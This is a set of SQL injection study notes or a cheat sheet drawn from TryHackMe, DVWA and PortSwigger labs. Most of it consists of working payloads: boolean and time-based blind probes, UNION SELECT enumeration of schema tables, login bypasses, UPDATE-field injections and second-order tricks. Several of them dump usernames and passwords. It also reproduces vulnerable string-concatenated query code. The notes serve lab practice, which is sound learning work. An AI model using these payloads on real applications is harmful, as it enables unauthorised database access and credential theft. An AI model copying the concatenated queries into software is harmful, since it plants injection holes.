https://www.security-sleuth.com/sleuth-blog/2017/1/3/sqlmap-cheat-sheet

Boolean based Injection :

Carried out usually as a blind injection
Guessing the words with true or false. Ex. (xxxxxxx/sql.php?id=1' or 1<2 —+, xxxxxxx/sql.php?id=1' or 1>2 —+) if the second outputs a message. then we know we have id =1 in the table..
Once we familar with the pattern of the syntax, it is guessing time.
1' AND substr((select database()),1,1)) = s --+

?id=1' AND (ascii(substr((select database()),1,1))) = 115 --;

++++++

?id=1' AND (ascii(substr((select database()),2,1))) < 115 --+

Union-based SQL injection

resources: https://tryhackme.com/room/sqlibasics

Leveraging the UNION SQL operator.

UNION: combing 2 or more SELECT statements into a single result to return

things to determine :

Number of Columns that exist
1. ORDER BY —https://www.w3schools.com/sql/sql_orderby.asp
2. ' UNION SELECT NULL, NULL—
the columns are in a suitable format.
1. ' UNION SELECT NULL, a, NULL, NULL—
2. ' UNION SELECT NULL, NULL, a, NULL—
3. Once we cofirmed the number of colums, we can test whether the 'string' data type is acceptable in the specific column.
Attack
1. once we found the siuteable date type for columns and number of columns, start attack
```
' UNION SELECT NULL,NULL,NULL,NULL,NULL — // , 
```

https://stackoverflow.com/questions/3913620/get-all-table-names-of-a-particular-database-by-sql-query

Table names since we already figure out the database used by selecting database().

' union SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='sqlitraining' -- //

1 union select null, TABLE_NAME, null,null from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqlitraining'
webeight

getting columns names by table names, in this case we want to use table 'users'

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = N'tableName';

'UNION SELECT NULL,NULL,NULL,NULL, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = N'users' -- //

'UNION SELECT NULL, fname, id, username,password from users -- //

DVWA

1' union SELECT NULL,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dvwa' #

' UNION SELECT NULL, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = N'users' #

SQL Injection Blind

1' and IF(length(database())=3, SLEEP(5), "false")-- -

https://www.sisense.com/blog/sql-symbol-cheatsheet/

Brute Force: (bonus)

1' UNION SELECT NULL, NULL,NULL,NULL,NULL, NULL, NULL, NULL # —

1' union SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='dvwa' #

' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = N'users' '

1 union SELECT null,table_name,null,null FROM information_schema.tables--

SQL Injection

$query = "SELECT * FROM users WHERE username='" + $_POST["user"] + "' AND password= '" + $_POST["password"]$ + '";"

The safest solution for inline SQL comment is to use --<space><any character> such as -- - because if it is URL-encoded into --%20- it will still be decoded as -- -. For more information, see: https://blog.raw.pm/en/sql-injection-mysql-comment/

TryHackMe | SQL Injection Lab

SQL Injection 1: input Box Non-String

SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID=10 AND password = 'ce5ca67...'

SOLUTION: 1 or 1=1— -

SQL Injection 2: Input Box String

SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID='10' AND password = 'ce5ca67...'
SOLUTION: 1' or '1'='1'-- -

SQL Injection 3 : Javascript Santitaization

function validateform() {
    var profileID = document.inputForm.profileID.value;
    var password = document.inputForm.password.value;

    if (/^[a-zA-Z0-9]*$/.test(profileID) == false || /^[a-zA-Z0-9]*$/.test(password) == false) {
        alert("The input fields cannot contain special characters");
        return false;
    }
    if (profileID == null || password == null) {
        alert("The input fields cannot be empty.");
        return false;
    }
}

SQL Injection 4 : Update

UPDATE <table_name> SET nickName='name', email='email' WHERE <condition>

#MySQL and MSSQL
',nickName=@@version,email='
# For Oracle
',nickName=(SELECT banner FROM v$version),email='
# For SQLite
',nickName=sqlite_version(),email='

subquery to fetch all the tables from database and place them into the nickName field. The subquery is enclosed inside parantheses. The group_concat() function is used to dump all the tables simultaneously.

',nickName=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),email='

The subquery is using the group_concat() function to dump all the information simultaneously, and the || operator is "concatenate" - it joins together the strings of its operands (sqlite.org).

',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable'),email='

',nickName=(SELECT group_concat(profileID || "," || name || "," || password || ":") from usertable),email='

Union Based Injection:

the number of columns in the injected query must be the same as in the orinial query
the data types for each column must match.

' UNION SELECT 1,group_concat(tbl_name) FROM sqlite_master-- -

' Union select 1, group_concat(sql) from sqlite_master where name='users'-- -

' union select 1, group_concat(password) from users-- -

Blind Injection:

guessing game.

SQLite:

SELECT password FROM users LIMIT 0,1    #THM{123123}
SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) #"T"
CAST(X'54' as Text)

#test out the password length
admin' AND length((SELECT password from users where username='admin'))==37-- -

#brute force guessing time.

admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1),1,1) = CAST(X'54' as Text)-- -

Vulnerable Notes

Parameterized Queries

INSERT INTO notes (username, title, note) VALUES (?, ?, ?)

SELECT title, note FROM notes WHERE username = '" + username + "'

Update Concatenates the username directly into the SQL query.

Placeholder for the password parameter.

UPDATE users SET password = ? WHERE username = '" + username + "'
#register 
admin' -- -

SELECT username, password FROM users WHERE id = ?
SELECT username, password FROM users WHERE id = 'admin' -- - '

Book title

SELECT * from books WHERE id = (SELECT id FROM books WHERE title like '') UNION SELECT NULL,NULL,group_concat(username), group_concat(password) from users-- -%')

1. SELECT id FROM books WHERE title like '' union select '-1''union select 1,2,group_concat(username),group_concat(password) from users-- -%'
2. SELECT * FROM books WHERE id = '-1'union select 1,2,group_concat(username),group_concat(password) from users-- -%'

PortSwigger

SQL injection cheat sheet | Web Security Academy